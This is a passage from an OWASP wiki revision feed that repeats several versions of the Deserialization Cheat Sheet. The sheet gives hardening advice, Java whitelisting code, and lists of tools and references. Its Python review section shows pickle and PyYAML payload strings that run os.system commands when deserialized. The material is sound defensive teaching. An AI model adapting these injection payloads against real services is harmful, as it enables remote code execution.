* Java secure deserialization library https://github.com/ikkisoft/SerialKiller&lt;br /&gt;
* Serianalyzer is a static bytecode analyzer for deserialization https://github.com/mbechler/serianalyzer&lt;br /&gt;
* Payload generator https://github.com/mbechler/marshalsec&lt;br /&gt;
* Android Java Deserialization Vulnerability Tester https://github.com/modzero/modjoda&lt;br /&gt;
* Burp Suite Extension &lt;br /&gt;
** JavaSerialKiller https://github.com/NetSPI/JavaSerialKiller&lt;br /&gt;
** Java Deserialization Scanner https://github.com/federicodotta/Java-Deserialization-Scanner&lt;br /&gt;
** Burp-ysoserial https://github.com/summitt/burp-ysoserial&lt;br /&gt;
** SuperSerial https://github.com/DirectDefense/SuperSerial&lt;br /&gt;
** SuperSerial-Active https://github.com/DirectDefense/SuperSerial-Active&lt;br /&gt;
&lt;br /&gt;
= References = &lt;br /&gt;
* https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet&lt;br /&gt;
* [[Deserialization of untrusted data]]&lt;br /&gt;
* [[Media:GOD16-Deserialization.pdf|Java Deserialization Attacks - German OWASP Day 2016]]&lt;br /&gt;
* [http://www.slideshare.net/frohoff1/appseccali-2015-marshalling-pickles AppSecCali 2015 - Marshalling Pickles]&lt;br /&gt;
* [http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/#websphere FoxGlove Security - Vulnerability Announcement]&lt;br /&gt;
* [https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet Java deserialization cheat sheet aimed at pen testers]&lt;br /&gt;
* [https://github.com/frohoff/ysoserial A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.]&lt;br /&gt;
* Java De-serialization toolkits https://github.com/brianwrf/hackUtils&lt;br /&gt;
* Java de-serialization tool https://github.com/frohoff/ysoserial&lt;br /&gt;
* Java de-serialization detection by DNS  https://github.com/GoSeecure/break-fast-serial&lt;br /&gt;
* Burp Suite extension https://github.com/federicodotta/Java-Deserialization-Scanner/releases&lt;br /&gt;
* Java secure deserialization library https://github.com/ikkisoft/SerialKiller&lt;br /&gt;
* Serianalyzer is a static bytecode analyzer for deserialization https://github.com/mbechler/serianalyzer&lt;br /&gt;
* Payload generator https://github.com/mbechler/marshalsec&lt;br /&gt;
* Android Java Deserialization Vulnerability Tester https://github.com/modzero/modjoda&lt;br /&gt;
* Burp Suite Extension &lt;br /&gt;
** JavaSerialKiller https://github.com/NetSPI/JavaSerialKiller&lt;br /&gt;
** Java Deserialization Scanner https://github.com/federicodotta/Java-Deserialization-Scanner&lt;br /&gt;
** Burp-ysoserial https://github.com/summitt/burp-ysoserial&lt;br /&gt;
** SuperSerial https://github.com/DirectDefense/SuperSerial&lt;br /&gt;
** SuperSerial-Active https://github.com/DirectDefense/SuperSerial-Active&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors =&lt;br /&gt;
&lt;br /&gt;
Arshan Dabirsiaghi - arshan [at] contrastsecurity dot org&amp;lt;br /&amp;gt;&lt;br /&gt;
Tony Hsu (Hsiang-Chih)&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
&lt;br /&gt;
{{Cheatsheet_Navigation_Body}}&lt;br /&gt;
[[Category:Cheatsheets]]&lt;br /&gt;
|}&lt;/div&gt;</summary>
		<author><name>Tony Hsu HsiangChih</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Deserialization_Cheat_Sheet&amp;diff=240689</id>
		<title>Deserialization Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Deserialization_Cheat_Sheet&amp;diff=240689"/>
				<updated>2018-05-14T00:27:19Z</updated>
		
		<summary type="html">&lt;p&gt;Tony Hsu HsiangChih: Serializable&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt; __NOTOC__&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:Cheatsheets-header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot; style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}''' &lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
 __TOC__{{TOC hidden}}&lt;br /&gt;
= Introduction  = &lt;br /&gt;
&lt;br /&gt;
This article is focused on providing clear, actionable guidance for safely deserializing untrusted data in your applications.&lt;br /&gt;
&lt;br /&gt;
=What is Deserialization?=&lt;br /&gt;
&lt;br /&gt;
Serialization is the process of turning some object into a data format that can be restored later. People often serialize objects in order to save them to storage, or to send as part of communications. Deserialization is the reverse of that process -- taking data structured from some format, and rebuilding it into an object. Today, the most popular data format for serializing data is JSON. Before that, it was XML.&lt;br /&gt;
&lt;br /&gt;
However, many programming languages offer a native capability for serializing objects. These native formats usually offer more features than JSON or XML, including customizability of the serialization process. Unfortunately, the features of these native deserialization mechanisms can be repurposed for malicious effect when operating on untrusted data. Attacks against deserializers have been found to allow denial-of-service, access control, and remote code execution attacks.&lt;br /&gt;
&lt;br /&gt;
=Guidance on Deserializing Objects Safely=&lt;br /&gt;
The following language-specific guidance attempts to enumerate safe methodologies for deserializing data that can't be trusted. &lt;br /&gt;
&lt;br /&gt;
==PHP==&lt;br /&gt;
===WhiteBox Review===&lt;br /&gt;
Check the use of 'unserialize()' and review how the external parameters are accepted.&lt;br /&gt;
&lt;br /&gt;
==Python==&lt;br /&gt;
===BlackBox Review===&lt;br /&gt;
If the traffic data contains the symbol dot  .  at the end, it's very likely that the data was sent in serialization.&lt;br /&gt;
&lt;br /&gt;
===WhiteBox Review===&lt;br /&gt;
The following API in Python will be vuleerable to serialization attack. Search code for the pattern below.&lt;br /&gt;
&lt;br /&gt;
1. The uses of pickle/c_pickle/_pickle with load/loads&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
  import pickle&lt;br /&gt;
  data = &amp;quot;&amp;quot;&amp;quot; cos.system(S'dir')tR. &amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
  pickle.loads(data) &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
2. Uses of PyYAML with load&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
   import yaml&lt;br /&gt;
   document = &amp;quot;!!python/object/apply:os.system ['ipconfig']&amp;quot;&lt;br /&gt;
   print(yaml.load(document))&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
3. Uses of jsonpickle with encode or store methods&lt;br /&gt;
&lt;br /&gt;
==Java==&lt;br /&gt;
The following techniques are all good for preventing attacks against deserialization against [http://docs.oracle.com/javase/7/docs/api/java/io/Serializable.html Java's Serializable format].&lt;br /&gt;
&lt;br /&gt;
Implementation: In your code, override the ObjectInputStream#resolveClass() method to prevent arbitrary classes from being deserialized. This safe behavior can be wrapped in a library like SerialKiller.&lt;br /&gt;
Implementation: Use a safe replacement for the generic readObject() method as seen here. Note that this addresses &amp;quot;billion laughs&amp;quot; type attacks by checking input length and number of objects deserialized.&lt;br /&gt;
&lt;br /&gt;
===WhiteBox Review ===&lt;br /&gt;
Be aware of the following Java API uses for potential serilization vulnerability.&lt;br /&gt;
  1. 'XMLdecoder' with external user defined parameters&lt;br /&gt;
  2. XStream with fromXML method. (xstream version &amp;lt;= v1.46 is vulnerable to the serialization issue.)&lt;br /&gt;
  3. 'ObjectInputSteam' with 'readObject'&lt;br /&gt;
  4. Uses of 'readObject' 'readObjectNodData' 'readResolve' 'readExternal'&lt;br /&gt;
  5. 'ObjectInputStream.readUnshared'&lt;br /&gt;
  6. 'Serializable'&lt;br /&gt;
&lt;br /&gt;
=== BlackBox Review ===&lt;br /&gt;
If the captured traffic data include the following patterns may suggest that the data was sent in Java serialization streams&lt;br /&gt;
* &amp;quot;AC ED 00 05&amp;quot; in Hex&lt;br /&gt;
* &amp;quot;''rO0&amp;quot;  in Base64''&lt;br /&gt;
* Content-type = '&amp;lt;nowiki/&amp;gt;''application/x-java-serialized-object'''&lt;br /&gt;
&lt;br /&gt;
===Prevent Data Leakage and Trusted Field Clobbering===&lt;br /&gt;
If there are members of the object graph that should never be controlled by end users during deserialization or exposed to users during serialization, they should be marked with [https://docs.oracle.com/javase/7/docs/platform/serialization/spec/serial-arch.html#6250 the &amp;lt;code&amp;gt;transient&amp;lt;/code&amp;gt; keyword].&lt;br /&gt;
&lt;br /&gt;
===Prevent Deserialization of Domain Objects===&lt;br /&gt;
Some of your application objects may be forced to implement Serializable due to their hierarchy. To guarantee that your application objects can't be deserialized, a &amp;lt;code&amp;gt;readObject()&amp;lt;/code&amp;gt; should be declared (with a &amp;lt;code&amp;gt;final&amp;lt;/code&amp;gt; modifier) which always throws an exception.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;private final void readObject(ObjectInputStream in) throws java.io.IOException {&lt;br /&gt;
   throw new java.io.IOException(&amp;quot;Cannot be deserialized&amp;quot;);&lt;br /&gt;
}&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Harden Your Own java.io.ObjectInputStream===&lt;br /&gt;
The &amp;lt;code&amp;gt;java.io.ObjectInputStream&amp;lt;/code&amp;gt; class is used to deserialize objects. It's possible to harden its behavior by subclassing it. This is the best solution if:&lt;br /&gt;
&lt;br /&gt;
* You can change the code that does the deserialization&lt;br /&gt;
* You know what classes you expect to deserialize&lt;br /&gt;
&lt;br /&gt;
The general idea is to override [http://docs.oracle.com/javase/7/docs/api/java/io/ObjectInputStream.html#resolveClass(java.io.ObjectStreamClass) &amp;lt;code&amp;gt;ObjectInputStream.html#resolveClass()&amp;lt;/code&amp;gt;] in order to restrict which classes are allowed to be deserialized. Because this call happens before a &amp;lt;code&amp;gt;readObject()&amp;lt;/code&amp;gt; is called, you can be sure that no deserialization activity will occur unless the type is one that you wish to allow.  A simple example of this shown here, where the the LookAheadObjectInputStream class is guaranteed not to deserialize any other type besides the Bicycle class:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;public class LookAheadObjectInputStream extends ObjectInputStream {&lt;br /&gt;
&lt;br /&gt;
    public LookAheadObjectInputStream(InputStream inputStream) throws IOException {&lt;br /&gt;
        super(inputStream);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    /**&lt;br /&gt;
     * Only deserialize instances of our expected Bicycle class&lt;br /&gt;
     */&lt;br /&gt;
    @Override&lt;br /&gt;
    protected Class&amp;lt;?&amp;gt; resolveClass(ObjectStreamClass desc) throws IOException,&lt;br /&gt;
            ClassNotFoundException {&lt;br /&gt;
        if (!desc.getName().equals(Bicycle.class.getName())) {&lt;br /&gt;
            throw new InvalidClassException(&lt;br /&gt;
                    &amp;quot;Unauthorized deserialization attempt&amp;quot;,&lt;br /&gt;
                    desc.getName());&lt;br /&gt;
        }&lt;br /&gt;
        return super.resolveClass(desc);&lt;br /&gt;
    }&lt;br /&gt;
}&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
More complete implementations of this approach have been proposed by various community members:&lt;br /&gt;
&lt;br /&gt;
* [https://github.com/ikkisoft/SerialKiller NibbleSec] - a library that allows whitelisting and blacklisting of classes that are allowed to be deserialized&lt;br /&gt;
* [https://www.ibm.com/developerworks/library/se-lookahead/ IBM] - the seminal protection, written years before the most devastating exploitation scenarios were envisioned.&lt;br /&gt;
&lt;br /&gt;
===Harden All java.io.ObjectInputStream Usage with an Agent===&lt;br /&gt;
As mentioned above, the &amp;lt;code&amp;gt;java.io.ObjectInputStream&amp;lt;/code&amp;gt; class is used to deserialize objects. It's possible to harden its behavior by subclassing it. However, if you don't own the code or can't wait for a patch, using an agent to weave in hardening to &amp;lt;code&amp;gt;java.io.ObjectInputStream&amp;lt;/code&amp;gt; is the best solution.&lt;br /&gt;
&lt;br /&gt;
Globally changing ObjectInputStream is only safe for blacklisting known malicious types, because it's not possible to know for all applications what the expected classes to be deserialized are. Fortunately, there are very few classes needed in the blacklist to be safe from all the known attack vectors, today. It's inevitable that more &amp;quot;gadget&amp;quot; classes will be discovered that can be abused. However, there is an incredible amount of vulnerable software&lt;br /&gt;
exposed today, in need of a fix. In some cases, &amp;quot;fixing&amp;quot; the vulnerability may involve re-architecting messaging systems and breaking backwards compatibility as developers move towards not accepting serialized objects.&lt;br /&gt;
&lt;br /&gt;
To enable these agents, simply add a new JVM parameter:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;-javaagent:name-of-agent.jar&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Agents taking this approach have been released by various community members:&lt;br /&gt;
* [https://github.com/gocd/invoker-defender Invoker Defender by Go-CD]&lt;br /&gt;
* [https://github.com/Contrast-Security-OSS/contrast-rO0 rO0 by Contrast Security]&lt;br /&gt;
&lt;br /&gt;
A similar, but less scalable approach would be to manually patch and bootstrap your JVM's ObjectInputStream. Guidance on this approach is available [https://github.com/wsargent/paranoid-java-serialization here].&lt;br /&gt;
&lt;br /&gt;
= Language-Agnostic Methods for Deserializing Safely =&lt;br /&gt;
&lt;br /&gt;
==Using Alternative Data Formats==&lt;br /&gt;
A great reduction of risk is achieved by avoiding native (de)serialization formats. By switching to a pure data format like JSON or XML, you lessen the chance of custom deserialization logic being repurposed towards malicious ends.&lt;br /&gt;
&lt;br /&gt;
Many applications rely on a [https://en.wikipedia.org/wiki/Data_transfer_object data-transfer object pattern] that involves creating a separate domain of objects for the explicit purpose data transfer. Of course, it's still possible that the application will make security mistakes after a pure data object is parsed.&lt;br /&gt;
&lt;br /&gt;
==Only Deserialize Signed Data==&lt;br /&gt;
If the application knows before deserialization which messages will need to be processed, they could sign them as part of the serialization process. The application could then to choose not to deserialize any message which didn't have an authenticated signature.&lt;br /&gt;
&lt;br /&gt;
= Mitigation Tools/Libraries =&lt;br /&gt;
* Java secure deserialization library https://github.com/ikkisoft/SerialKiller&lt;br /&gt;
&lt;br /&gt;
* SWAT (Serial Whitelist Application Trainer) https://github.com/cschneider4711/SWAT&lt;br /&gt;
* NotSoSerial https://github.com/kantega/notsoserial&lt;br /&gt;
&lt;br /&gt;
= Detection Tools =&lt;br /&gt;
* [https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet Java deserialization cheat sheet aimed at pen testers]&lt;br /&gt;
&lt;br /&gt;
* [https://github.com/frohoff/ysoserial A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.]&lt;br /&gt;
* Java De-serialization toolkits https://github.com/brianwrf/hackUtils&lt;br /&gt;
* Java de-serialization tool https://github.com/frohoff/ysoserial&lt;br /&gt;
* Java de-serialization detection by DNS  https://github.com/GoSeecure/break-fast-serial&lt;br /&gt;
* Burp Suite extension https://github.com/federicodotta/Java-Deserialization-Scanner/releases&lt;br /&gt;
* Java secure deserialization library https://github.com/ikkisoft/SerialKiller&lt;br /&gt;
* Serianalyzer is a static bytecode analyzer for deserialization https://github.com/mbechler/serianalyzer&lt;br /&gt;
* Payload generator https://github.com/mbechler/marshalsec&lt;br /&gt;
* Android Java Deserialization Vulnerability Tester https://github.com/modzero/modjoda&lt;br /&gt;
* Burp Suite Extension &lt;br /&gt;
** JavaSerialKiller https://github.com/NetSPI/JavaSerialKiller&lt;br /&gt;
** Java Deserialization Scanner https://github.com/federicodotta/Java-Deserialization-Scanner&lt;br /&gt;
** Burp-ysoserial https://github.com/summitt/burp-ysoserial&lt;br /&gt;
** SuperSerial https://github.com/DirectDefense/SuperSerial&lt;br /&gt;
** SuperSerial-Active https://github.com/DirectDefense/SuperSerial-Active&lt;br /&gt;
&lt;br /&gt;
= References = &lt;br /&gt;
* https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet&lt;br /&gt;
* [[Deserialization of untrusted data]]&lt;br /&gt;
* [[Media:GOD16-Deserialization.pdf|Java Deserialization Attacks - German OWASP Day 2016]]&lt;br /&gt;
* [http://www.slideshare.net/frohoff1/appseccali-2015-marshalling-pickles AppSecCali 2015 - Marshalling Pickles]&lt;br /&gt;
* [http://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/#websphere FoxGlove Security - Vulnerability Announcement]&lt;br /&gt;
* [https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet Java deserialization cheat sheet aimed at pen testers]&lt;br /&gt;
* [https://github.com/frohoff/ysoserial A proof-of-concept tool for generating payloads that exploit unsafe Java object deserialization.]&lt;br /&gt;
* Java De-serialization toolkits https://github.com/brianwrf/hackUtils&lt;br /&gt;
* Java de-serialization tool https://github.com/frohoff/ysoserial&lt;br /&gt;
* Java de-serialization detection by DNS  https://github.com/GoSeecure/break-fast-serial&lt;br /&gt;
* Burp Suite extension https://github.com/federicodotta/Java-Deserialization-Scanner/releases&lt;br /&gt;
* Java secure deserialization library https://github.com/ikkisoft/SerialKiller&lt;br /&gt;
* Serianalyzer is a static bytecode analyzer for deserialization https://github.com/mbechler/serianalyzer&lt;br /&gt;
* Payload generator https://github.com/mbechler/marshalsec&lt;br /&gt;
* Android Java Deserialization Vulnerability Tester https://github.com/modzero/modjoda&lt;br /&gt;
* Burp Suite Extension &lt;br /&gt;
** JavaSerialKiller https://github.com/NetSPI/JavaSerialKiller&lt;br /&gt;
** Java Deserialization Scanner https://github.com/federicodotta/Java-Deserialization-Scanner&lt;br /&gt;
** Burp-ysoserial https://github.com/summitt/burp-ysoserial&lt;br /&gt;
** SuperSerial https://github.com/DirectDefense/SuperSerial&lt;br /&gt;
** SuperSerial-Active https://github.com/DirectDefense/SuperSerial-Active&lt;br /&gt;
&lt;br /&gt;
= Authors and Primary Editors =&lt;br /&gt;
&lt;br /&gt;
Arshan Dabirsiaghi - arshan [at] contrastsecurity dot org&amp;lt;br /&amp;gt;&lt;br /&gt;
Tony Hsu (Hsiang-Chih)&lt;br /&gt;
&lt;br /&gt;
= Other Cheatsheets =&lt;br /&gt;
&lt;br /&gt;
{{Cheatsheet_Navigation_Body}}&lt;br /&gt;
[[Category:Cheatsheets]]&lt;br /&gt;
|}&lt;/div&gt;</summary>
		<author><name>Tony Hsu HsiangChih</name></author>	</entry>

	<entry>
		<id>https://wiki.owasp.org/index.php?title=Deserialization_Cheat_Sheet&amp;diff=239459</id>
		<title>Deserialization Cheat Sheet</title>
		<link rel="alternate" type="text/html" href="https://wiki.owasp.org/index.php?title=Deserialization_Cheat_Sheet&amp;diff=239459"/>
				<updated>2018-04-07T02:09:59Z</updated>
		
		<summary type="html">&lt;p&gt;Tony Hsu HsiangChih: &lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt; __NOTOC__&lt;br /&gt;
&amp;lt;div style=&amp;quot;width:100%;height:160px;border:0,margin:0;overflow: hidden;&amp;quot;&amp;gt;[[File:Cheatsheets-header.jpg|link=]]&amp;lt;/div&amp;gt;&lt;br /&gt;
&lt;br /&gt;
{| style=&amp;quot;padding: 0;margin:0;margin-top:10px;text-align:left;&amp;quot; |-&lt;br /&gt;
| valign=&amp;quot;top&amp;quot; style=&amp;quot;border-right: 1px dotted gray;padding-right:25px;&amp;quot; |&lt;br /&gt;
Last revision (mm/dd/yy): '''{{REVISIONMONTH}}/{{REVISIONDAY}}/{{REVISIONYEAR}}''' &lt;br /&gt;
&amp;lt;br /&amp;gt;&lt;br /&gt;
 __TOC__{{TOC hidden}}&lt;br /&gt;
= Introduction  = &lt;br /&gt;
&lt;br /&gt;
This article is focused on providing clear, actionable guidance for safely deserializing untrusted data in your applications.&lt;br /&gt;
&lt;br /&gt;
=What is Deserialization?=&lt;br /&gt;
&lt;br /&gt;
Serialization is the process of turning some object into a data format that can be restored later. People often serialize objects in order to save them to storage, or to send as part of communications. Deserialization is the reverse of that process -- taking data structured from some format, and rebuilding it into an object. Today, the most popular data format for serializing data is JSON. Before that, it was XML.&lt;br /&gt;
&lt;br /&gt;
However, many programming languages offer a native capability for serializing objects. These native formats usually offer more features than JSON or XML, including customizability of the serialization process. Unfortunately, the features of these native deserialization mechanisms can be repurposed for malicious effect when operating on untrusted data. Attacks against deserializers have been found to allow denial-of-service, access control, and remote code execution attacks.&lt;br /&gt;
&lt;br /&gt;
=Guidance on Deserializing Objects Safely=&lt;br /&gt;
The following language-specific guidance attempts to enumerate safe methodologies for deserializing data that can't be trusted. &lt;br /&gt;
&lt;br /&gt;
==PHP==&lt;br /&gt;
===WhiteBox Review===&lt;br /&gt;
Check the use of 'unserialize()' and review how the external parameters are accepted.&lt;br /&gt;
&lt;br /&gt;
==Python==&lt;br /&gt;
===BlackBox Review===&lt;br /&gt;
If the traffic data contains the symbol dot  .  at the end, it's very likely that the data was sent in serialization.&lt;br /&gt;
&lt;br /&gt;
===WhiteBox Review===&lt;br /&gt;
The following API in Python will be vuleerable to serialization attack. Search code for the pattern below.&lt;br /&gt;
&lt;br /&gt;
1. The uses of pickle/c_pickle/_pickle with load/loads&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
  import pickle&lt;br /&gt;
  data = &amp;quot;&amp;quot;&amp;quot; cos.system(S'dir')tR. &amp;quot;&amp;quot;&amp;quot;&lt;br /&gt;
  pickle.loads(data) &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
2. Uses of PyYAML with load&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
   import yaml&lt;br /&gt;
   document = &amp;quot;!!python/object/apply:os.system ['ipconfig']&amp;quot;&lt;br /&gt;
   print(yaml.load(document))&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
3. Uses of jsonpickle with encode or store methods&lt;br /&gt;
&lt;br /&gt;
==Java==&lt;br /&gt;
The following techniques are all good for preventing attacks against deserialization against [http://docs.oracle.com/javase/7/docs/api/java/io/Serializable.html Java's Serializable format].&lt;br /&gt;
&lt;br /&gt;
Implementation: In your code, override the ObjectInputStream#resolveClass() method to prevent arbitrary classes from being deserialized. This safe behavior can be wrapped in a library like SerialKiller.&lt;br /&gt;
Implementation: Use a safe replacement for the generic readObject() method as seen here. Note that this addresses &amp;quot;billion laughs&amp;quot; type attacks by checking input length and number of objects deserialized.&lt;br /&gt;
&lt;br /&gt;
===WhiteBox Review ===&lt;br /&gt;
Be aware of the following Java API uses for potential serilization vulnerability.&lt;br /&gt;
  1. 'XMLdecoder' with external user defined parameters&lt;br /&gt;
  2. XStream with fromXML method. (xstream version &amp;lt;= v1.46 is vulnerable to the serialization issue.)&lt;br /&gt;
  3. 'ObjectInputSteam' with 'readObject'&lt;br /&gt;
  4. Uses of 'readObject' 'readObjectNodData' 'readResolve' 'readExternal'&lt;br /&gt;
  5. 'ObjectInputStream.readUnshared'&lt;br /&gt;
&lt;br /&gt;
=== BlackBox Review ===&lt;br /&gt;
If the captured traffic data include the following patterns may suggest that the data was sent in Java serialization streams&lt;br /&gt;
* &amp;quot;AC ED 00 05&amp;quot; in Hex&lt;br /&gt;
* &amp;quot;''rO0&amp;quot;  in Base64''&lt;br /&gt;
* Content-type = '&amp;lt;nowiki/&amp;gt;''application/x-java-serialized-object'''&lt;br /&gt;
&lt;br /&gt;
===Prevent Data Leakage and Trusted Field Clobbering===&lt;br /&gt;
If there are members of the object graph that should never be controlled by end users during deserialization or exposed to users during serialization, they should be marked with [https://docs.oracle.com/javase/7/docs/platform/serialization/spec/serial-arch.html#6250 the &amp;lt;code&amp;gt;transient&amp;lt;/code&amp;gt; keyword].&lt;br /&gt;
&lt;br /&gt;
===Prevent Deserialization of Domain Objects===&lt;br /&gt;
Some of your application objects may be forced to implement Serializable due to their hierarchy. To guarantee that your application objects can't be deserialized, a &amp;lt;code&amp;gt;readObject()&amp;lt;/code&amp;gt; should be declared (with a &amp;lt;code&amp;gt;final&amp;lt;/code&amp;gt; modifier) which always throws an exception.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;private final void readObject(ObjectInputStream in) throws java.io.IOException {&lt;br /&gt;
   throw new java.io.IOException(&amp;quot;Cannot be deserialized&amp;quot;);&lt;br /&gt;
}&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
===Harden Your Own java.io.ObjectInputStream===&lt;br /&gt;
The &amp;lt;code&amp;gt;java.io.ObjectInputStream&amp;lt;/code&amp;gt; class is used to deserialize objects. It's possible to harden its behavior by subclassing it. This is the best solution if:&lt;br /&gt;
&lt;br /&gt;
* You can change the code that does the deserialization&lt;br /&gt;
* You know what classes you expect to deserialize&lt;br /&gt;
&lt;br /&gt;
The general idea is to override [http://docs.oracle.com/javase/7/docs/api/java/io/ObjectInputStream.html#resolveClass(java.io.ObjectStreamClass) &amp;lt;code&amp;gt;ObjectInputStream.html#resolveClass()&amp;lt;/code&amp;gt;] in order to restrict which classes are allowed to be deserialized. Because this call happens before a &amp;lt;code&amp;gt;readObject()&amp;lt;/code&amp;gt; is called, you can be sure that no deserialization activity will occur unless the type is one that you wish to allow.  A simple example of this shown here, where the the LookAheadObjectInputStream class is guaranteed not to deserialize any other type besides the Bicycle class:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;public class LookAheadObjectInputStream extends ObjectInputStream {&lt;br /&gt;
&lt;br /&gt;
    public LookAheadObjectInputStream(InputStream inputStream) throws IOException {&lt;br /&gt;
        super(inputStream);&lt;br /&gt;
    }&lt;br /&gt;
&lt;br /&gt;
    /**&lt;br /&gt;
     * Only deserialize instances of our expected Bicycle class&lt;br /&gt;
     */&lt;br /&gt;
    @Override&lt;br /&gt;
    protected Class&amp;lt;?&amp;gt; resolveClass(ObjectStreamClass desc) throws IOException,&lt;br /&gt;
            ClassNotFoundException {&lt;br /&gt;
        if (!desc.getName().equals(Bicycle.class.getName())) {&lt;br /&gt;
            throw new InvalidClassException(&lt;br /&gt;
                    &amp;quot;Unauthorized deserialization attempt&amp;quot;,&lt;br /&gt;
                    desc.getName());&lt;br /&gt;
        }&lt;br /&gt;
        return super.resolveClass(desc);&lt;br /&gt;
    }&lt;br /&gt;
}&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
More complete implementations of this approach have been proposed by various community members:&lt;br /&gt;
&lt;br /&gt;
* [https://github.com/ikkisoft/SerialKiller NibbleSec] - a library that allows whitelisting and blacklisting of classes that are allowed to be deserialized&lt;br /&gt;
* [https://www.ibm.com/developerworks/library/se-lookahead/ IBM] - the seminal protection, written years before the most devastating exploitation scenarios were envisioned.&lt;br /&gt;
&lt;br /&gt;
===Harden All java.io.ObjectInputStream Usage with an Agent===&lt;br /&gt;
As mentioned above, the &amp;lt;code&amp;gt;java.io.ObjectInputStream&amp;lt;/code&amp;gt; class is used to deserialize objects. It's possible to harden its behavior by subclassing it. However, if you don't own the code or can't wait for a patch, using an agent to weave in hardening to &amp;lt;code&amp;gt;java.io.ObjectInputStream&amp;lt;/code&amp;gt; is the best solution.&lt;br /&gt;
&lt;br /&gt;
Globally changing ObjectInputStream is only safe for blacklisting known malicious types, because it's not possible to know for all applications what the expected classes to be deserialized are. Fortunately, there are very few classes needed in the blacklist to be safe from all the known attack vectors, today. It's inevitable that more &amp;quot;gadget&amp;quot; classes will be discovered that can be abused. However, there is an incredible amount of vulnerable software&lt;br /&gt;
exposed today, in need of a fix. In some cases, &amp;quot;fixing&amp;quot; the vulnerability may involve re-architecting messaging systems and breaking backwards compatibility as developers move towards not accepting serialized objects.&lt;br /&gt;
&lt;br /&gt;
To enable these agents, simply add a new JVM parameter:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;-javaagent:name-of-agent.jar&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Agents taking this approach have been released by various community members:&lt;br /&gt;
* [https://github.com/gocd/invoker-defender Invoker Defender by Go-CD]&lt;br /&gt;
* [https://github.com/Contrast-Security-OSS/contrast-rO0 rO0 by Contrast Security]&lt;br /&gt;
&lt;br /&gt;
A similar, but less scalable approach would be to manually patch and bootstrap your JVM's ObjectInputStream. Guidance on this approach is available [https://github.com/wsargent/paranoid-java-serialization here].&lt;br /&gt;
&lt;br /&gt;
= Language-Agnostic Methods for Deserializing Safely =&lt;br /&gt;
&lt;br /&gt;
==Using Alternative Data Formats==&lt;br /&gt;
A great reduction of risk is achieved by avoiding native (de)serialization formats. By switching to a pure data format like JSON or XML, you lessen the chance of custom deserialization logic being repurposed towards malicious ends.&lt;br /&gt;
&lt;br /&gt;
Many applications rely on a [https://en.wikipedia.org/wiki/Data_transfer_object data-transfer object pattern] that involves creating a separate domain of objects for the explicit purpose data transfer. Of course, it's still possible that the application will make security mistakes after a pure data object is parsed.&lt;br /&gt;
&lt;br /&gt;
==Only Deserialize Signed Data==&lt;br /&gt;
If the application knows before deserialization which messages will need to be processed, they could sign them as part of the serialization process. The application could then to choose not to deserialize any message which didn't have an authenticated signature.&lt;br /&gt;
&lt;br /&gt;
= Mitigation Tools/Libraries =&lt;br /&gt;
* Java secure deserialization library https://github.com/ikkisoft/SerialKiller&lt;br /&gt;
&lt;br /&gt;
* SWAT (Serial Whitelist Application Trainer) https://github.com/cschneider4711/SWAT&lt;br /&gt;
* NotSoSerial https://github.com/kantega/notsoserial&lt;br /&gt;
&lt;br /&gt;
= Detection Tools =&lt;br /&gt;
* [https://github.com/GrrrDog/Java-Deserialization-Cheat-Sheet Java deserialization cheat sheet aimed at pen testers]&lt;br /&gt;
&lt;br /&gt;
